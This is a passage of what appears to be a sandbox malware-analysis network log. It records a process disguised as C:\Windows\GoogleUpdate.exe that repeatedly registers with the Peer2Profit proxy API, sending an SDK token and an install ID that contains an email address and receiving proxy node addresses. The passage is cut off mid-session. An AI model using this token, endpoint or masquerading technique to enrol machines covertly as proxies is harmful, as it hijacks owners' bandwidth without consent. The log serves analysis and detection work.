2022-11-24 15:59:14 UTC	69	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 31 36 32 2e 31 39 2e 31 37 35 2e 31 36 33 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "162.19.175.163", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
101	192.168.2.3	50015	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 15:59:14 UTC	69	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 15:59:14 UTC	69	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 15:59:14 UTC	69	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 15:59:14 GMT Content-Type: application/json Content-Length: 132 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f359c22cf59012-FRA
2022-11-24 15:59:14 UTC	70	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 31 36 32 2e 31 39 2e 31 37 35 2e 31 36 33 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "162.19.175.163", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
102	192.168.2.3	50019	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 15:59:14 UTC	70	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 15:59:14 UTC	70	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 15:59:14 UTC	70	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 15:59:14 GMT Content-Type: application/json Content-Length: 132 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f359c3fc70915c-FRA
2022-11-24 15:59:14 UTC	70	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 31 36 32 2e 31 39 2e 31 37 35 2e 31 36 33 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "162.19.175.163", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
103	192.168.2.3	50023	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 15:59:14 UTC	71	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 15:59:14 UTC	71	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 15:59:14 UTC	71	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 15:59:14 GMT Content-Type: application/json Content-Length: 132 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f359c5e97abb5c-FRA
2022-11-24 15:59:14 UTC	71	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 31 36 32 2e 31 39 2e 31 37 35 2e 31 36 33 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "162.19.175.163", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
104	192.168.2.3	50026	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 15:59:15 UTC	71	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 15:59:15 UTC	71	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 15:59:15 UTC	72	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 15:59:15 GMT Content-Type: application/json Content-Length: 132 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f359c81c429ba0-FRA
2022-11-24 15:59:15 UTC	72	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 31 36 32 2e 31 39 2e 31 37 35 2e 31 36 33 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "162.19.175.163", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
105	192.168.2.3	50029	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 15:59:15 UTC	72	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 15:59:15 UTC	72	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 15:59:15 UTC	72	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 15:59:15 GMT Content-Type: application/json Content-Length: 132 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f359c9f8ff9bf5-FRA
2022-11-24 15:59:15 UTC	72	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 31 36 32 2e 31 39 2e 31 37 35 2e 31 36 33 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "162.19.175.163", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
106	192.168.2.3	50031	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 15:59:15 UTC	73	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 15:59:15 UTC	73	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 15:59:15 UTC	73	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 15:59:15 GMT Content-Type: application/json Content-Length: 132 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f359cbbb26bb35-FRA
2022-11-24 15:59:15 UTC	73	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 31 36 32 2e 31 39 2e 31 37 35 2e 31 36 33 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "162.19.175.163", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
107	192.168.2.3	50034	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 15:59:16 UTC	73	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 15:59:16 UTC	73	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 15:59:16 UTC	74	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 15:59:16 GMT Content-Type: application/json Content-Length: 132 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f359cd7c81699b-FRA
2022-11-24 15:59:16 UTC	74	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 31 36 32 2e 31 39 2e 31 37 35 2e 31 36 33 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "162.19.175.163", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
108	192.168.2.3	50036	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 15:59:16 UTC	74	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 15:59:16 UTC	74	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 15:59:16 UTC	74	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 15:59:16 GMT Content-Type: application/json Content-Length: 132 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f359cf3fec9bec-FRA
2022-11-24 15:59:16 UTC	75	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 31 36 32 2e 31 39 2e 31 37 35 2e 31 36 33 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "162.19.175.163", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
109	192.168.2.3	50039	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 15:59:16 UTC	75	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 15:59:16 UTC	75	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 15:59:16 UTC	75	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 15:59:16 GMT Content-Type: application/json Content-Length: 132 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f359d0df2d9164-FRA
2022-11-24 15:59:16 UTC	75	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 31 36 32 2e 31 39 2e 31 37 35 2e 31 36 33 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "162.19.175.163", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.3	49743	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 15:58:20 UTC	7	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 15:58:20 UTC	7	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 15:58:21 UTC	7	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 15:58:21 GMT Content-Type: application/json Content-Length: 132 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f35874fb09bbc7-FRA
2022-11-24 15:58:21 UTC	8	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 31 36 32 2e 31 39 2e 31 37 35 2e 31 36 33 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "162.19.175.163", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
110	192.168.2.3	50041	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 15:59:16 UTC	75	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 15:59:16 UTC	76	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 15:59:16 UTC	76	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 15:59:16 GMT Content-Type: application/json Content-Length: 132 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f359d2af579249-FRA
2022-11-24 15:59:16 UTC	76	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 31 36 32 2e 31 39 2e 31 37 35 2e 31 36 33 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "162.19.175.163", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
111	192.168.2.3	50044	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 15:59:17 UTC	76	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
